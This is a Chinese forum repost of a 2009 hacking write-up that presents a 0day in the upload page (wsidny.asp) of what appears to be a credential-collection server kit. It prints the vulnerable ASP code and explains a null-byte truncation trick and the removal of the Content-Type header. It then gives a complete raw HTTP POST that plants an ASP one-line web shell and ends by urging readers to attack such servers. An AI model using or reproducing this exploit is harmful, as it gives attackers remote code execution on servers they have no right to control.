马上注册,结交更多好友,享受更多内容,了解更多户外知识,让你轻松享受户外!
您需要 登录 才可以下载或查看,没有账号?立即注册
×
花马收信箱子Getshell 0day </h1> <div id="property"> 2009-10-29 09:29:43 xueheike.net 来源:<a href="http://www.hacksb.cn/" target="_blank">普瑞斯特</a></div><!--引用地址--> By:rubbish特征:login.asp能看到版权,不过有些箱子把这个地址改求了.另外主目录下存在一个wsidny.asp整套程序过滤什么的灰常的严密,看得出来是专业的安全人士写的,唯一可以利用的地方就在这个wsidny.asp看代码: ... <P>By:rubbish<BR>特征:login.asp能看到版权,不过有些箱子把这个地址改求了.另外主目录下存在一个wsidny.asp<BR>整套程序过滤什么的灰常的严密,看得出来是专业的安全人士写的,唯一可以利用的地方就在这个wsidny.asp<BR>看代码:<BR><!-- #include file="conn.asp"--><BR><% <BR> Server.ScriptTimeout = 36000<BR> PostSize = Request.TotalBytes<BR>if postsize=0 then<BR>response.End()<BR>end if<BR> BytesRead = 0 <BR> ReadSize=256<BR> HeadSize=256<BR> filename = Request.BinaryRead(ReadSize)<BR> BytesRead = BytesRead + ReadSize <BR> PostData = http://www.hackbase& ... .BinaryRead(PostSize - BytesRead)<BR> StoreFile(filename)<BR>Function Bytes2bStr(vin)<BR>if lenb(vin) =0 then<BR> Bytes2bStr = ""<BR> exit function<BR>end if<BR> Dim BytesStream,StringReturn<BR> set BytesStream = Server.CreateObject("ADODB.Stream")<BR> BytesStream.Type = 2 <BR> BytesStream.Open<BR> BytesStream.WriteText vin<BR> BytesStream.Position = 0<BR> BytesStream.Charset = "gb2312"<BR> BytesStream.Position = 2<BR> StringReturn = BytesStream.ReadText<BR> BytesStream.close<BR> set BytesStream = Nothing<BR> Bytes2bStr = StringReturn<BR>End Function<BR>Function StoreFile(filename)<BR>filea=Bytes2bStr(filename)<BR>filea=LCase(filea)<BR>if instr(filea,".")>0 then<BR>fileb=split(filea,".")<BR>num2=ubound(fileb)<BR>if instr("jpg|gif|jpeg|png|bmp",fileb(num2))>0 then<BR>filea=filea<BR>else<BR>filea=filea;".gif"<BR>end if<BR>else<BR>filea=filea;".gif"<BR>end if<BR>Path=server.MapPath(imgFolder;filea)<BR>Set oFileStream = CreateObject ("ADODB.Stream")<BR> oFileStream.Type = 1<BR> oFileStream.Mode = 3<BR> oFileStream.Open<BR> oFileStream.Write(PostData) <BR> oFileStream.SaveToFile Path,2<BR> oFileStream.Close<BR> Set oFileStream = Nothing <BR>End Function<BR> Response.Write PostSize<BR> Response.Write " bytes were read." <BR>%>没搞懂这个页面是用来干什么的,可能是生成图片破密保的吧.一开始是想本地构造表单直接提交,上传带;的图片马,结果因为是Request.BinaryRead取的数据,所以urlencode过的参数都取不出来.改用vbs发包.这里又有个问题,因为路径是取的前256个字符,超过了后面server.MapPath所支持的最大长度,于是想到了用\00截断,把vbs发送的http请求抓出来,用ue写截断,然后提交,去掉包含文件测试成功.但是带包含的时候还报错.因为前面的conn.asp包含了一个fsql.asp防注页面,检查了request.form,调用了request.form之后就不能再调用Request.BinaryRead了否则会报错.那这个页面的意义何在?<BR>在这里纠结了好久,试着去掉http头里的Content-Type: application/x-www-form-urlencoded,提交,发现竟然上传成功鸟,这才发现自己以前一直SB了.去掉这一个头,iis就会认为没有用表单格式提交的参数,这样用request.form就不会收到任何数据,也就不会跟后面的Request.BinaryRead冲突了<BR>下面发利用方法:<BR>POST /DNFZONX/wsidny.asp HTTP/1.1<BR>Accept-Language: zh-cn<BR>Content-Length: 284<BR>Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-silverlight, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*<BR>User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)<BR>Host: xxx.fuck.com<BR>Connection: Keep-Alive<BR>a.asp aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<%execute request("value")%><BR>一句话代码前面要构造到256个字符,然后在ue里面把空格用\00代替,改下主机头啥的,NC提交,看到返回xxx bytes were read.的话,就成功了,目标文件夹下img/a.asp就是了,如果图片目录找不到或者不可执行啥的,可以用../什么的跳出来就好了,只要保证一句话前面刚好有256个字符就是了<BR>本地测试成功,大家遇到箱子信封什么的,就使劲的日吧!<BR>{本文转自普瑞斯特博客-原文地址:http://www.hacksb.cn/post/156.html}</P><P><BR> </P></div> |